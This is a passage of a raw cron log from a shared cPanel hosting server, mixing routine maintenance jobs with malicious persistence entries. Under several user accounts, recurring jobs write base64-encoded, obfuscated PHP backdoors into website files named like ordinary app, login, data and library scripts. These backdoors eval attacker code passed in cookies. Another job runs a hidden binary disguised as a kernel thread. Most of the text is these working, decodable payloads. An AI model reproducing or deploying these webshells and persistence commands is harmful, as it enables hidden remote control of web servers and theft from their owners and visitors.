p6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:59:01 medusa CROND[6555]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:59:01 medusa CROND[6539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:00:02 medusa CROND[22993]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:00:02 medusa CROND[23017]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 05:00:02 medusa CROND[23133]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:00:02 medusa CROND[23142]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 05:00:02 medusa CROND[23375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:00:02 medusa CROND[23376]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:00:02 medusa CROND[23377]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:00:02 medusa CROND[23378]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23381]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23390]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23403]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:00:02 medusa CROND[23408]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:00:02 medusa CROND[23409]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 05:00:02 medusa CROND[23411]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23413]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 05:00:02 medusa CROND[23417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 05:00:02 medusa CROND[23420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:00:02 medusa CROND[23421]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:00:02 medusa CROND[23414]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23427]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:00:02 medusa CROND[23428]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:00:02 medusa CROND[23434]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:00:02 medusa CROND[23445]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:00:02 medusa CROND[23462]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:00:02 medusa CROND[23460]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:00:02 medusa CROND[23470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:00:02 medusa CROND[23465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23479]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23478]: (root) CMD (bash -c "sleep ${RANDOM:0:2}m"; /usr/bin/flock -n /var/run/xray_tasks.cronlock /usr/sbin/cloudlinux-xray-manager autocomplete-tasks &> /dev/null)
Mar  2 05:00:02 medusa CROND[23481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:00:02 medusa CROND[23487]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23485]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23480]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23473]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:00:02 medusa CROND[23489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:00:02 medusa CROND[23488]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 05:01:01 medusa CROND[10093]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 05:01:01 medusa CROND[10096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:01:01 medusa CROND[10097]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:01:01 medusa CROND[10098]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:01:01 medusa CROND[10099]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:01:01 medusa CROND[10100]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:01:01 medusa CROND[10104]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:01:01 medusa CROND[10106]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:01:01 medusa CROND[10110]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:01:01 medusa CROND[10116]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:01:01 medusa CROND[10120]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 